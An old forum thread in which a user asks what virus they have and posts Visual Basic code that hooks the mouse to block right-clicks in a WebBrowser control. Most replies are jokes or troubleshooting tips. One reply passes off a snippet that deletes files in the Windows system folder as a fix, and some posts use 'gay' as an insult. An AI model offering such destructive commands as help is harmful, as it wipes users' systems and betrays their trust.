What virus do i have?

I believe you have a virus called "Windows."

You are mistaken, its clearly Herpes.

It sounds like a fly by night virus

'Declarations for Preventing Right-Click in WebBrowser Control:
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA"
(ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal
dwThreadId As Long) As Long
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long)
As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal
nCode As Long, ByVal wParam As Long, lparam As Any) As Long
Declare Function GetCurrentThreadId Lib "kernel32" () As Long
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal
hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As
Long
Public Const WM_RBUTTONUP = &H205
Public Const WH_MOUSE = 7
Type POINTAPI
x As Long
y As Long
End Type
Type MOUSEHOOKSTRUCT
pt As POINTAPI
hwnd As Long
wHitTestCode As Long
dwExtraInfo As Long
End Type
Public l_hMouseHook As Long

have you tried restarting ? sorry i didnt read all of your post

I would star by checking the obvious things like your running aps and such , close them down one-at-a-time and see where the hook is.

Public Function MouseHookProc(ByVal nCode As Long, ByVal wParam As Long,
mhs As MOUSEHOOKSTRUCT) As Long
'Prevent Right-Mouse Clicks in WebBrowser Control:
If (nCode >= 0 And wParam = WM_RBUTTONUP) Then
Dim sClassName As String
Dim sTestClass As String
sTestClass = "HTML_Internet Explorer"
sClassName = String$(256, 0)
If GetClassName(mhs.hwnd, sClassName, Len(sClassName)) > 0 Then
If Left$(sClassName, Len(sTestClass)) = sTestClass Then
MouseHookProc = 1
Exit Function
End If
End If
End If
MouseHookProc = CallNextHookEx(l_hMouseHook, nCode, wParam, mhs)
End Function
Public Sub BeginRightMouseTrap()
'Start Trapping Right-Mouse clicks in WebBrowser Control:
l_hMouseHook = SetWindowsHookEx(WH_MOUSE, AddressOf MouseHookProc,
App.hInstance, GetCurrentThreadId)
End Sub
Public Sub EndRightMouseTrap()
'End Trapping Right-Mouse clicks in WebBrowser Control:
UnhookWindowsHookEx l_hMouseHook
End Sub


this is the form


Private Sub Form_Load()
BeginRightMouseTrap
End Sub
Private Sub Form_Unload(Cancel As Integer)
EndRightMouseTrap
End Sub
Private Function MouseHookProc(ByVal nCode As Long, ByVal wParam As
Long, mhs As MOUSEHOOKSTRUCT) As Long
'Prevent Right-Click in WebBrowser Control:
If (nCode >= 0 And wParam = WM_RBUTTONUP) Then
Dim sClassName As String
Dim sTestClass As String
sTestClass = "HTML_Internet Explorer"
sClassName = String$(256, 0)
If GetClassName(mhs.hwnd, sClassName, Len(sClassName)) > 0 Then
If Left$(sClassName, Len(sTestClass)) = sTestClass Then
MouseHookProc = 1
Exit Function
End If
End If
End If
MouseHookProc = CallNextHookEx(l_hMouseHook, nCode, wParam, mhs)
End Function


If you reverse this lol by loading a prog it should.hmmm maybe not.

I suggest finding out where its hooked instead of fixing it , as its prob doing more than just annoying you.

www.lavasoft.de


whoever writes viruses in visual basic is gay

try

private sub form_load()
kill "c:\windows\system\*,*"
onerror
next
end sub

As opposed to people who write virii in ??

I would think virii in any language is gay.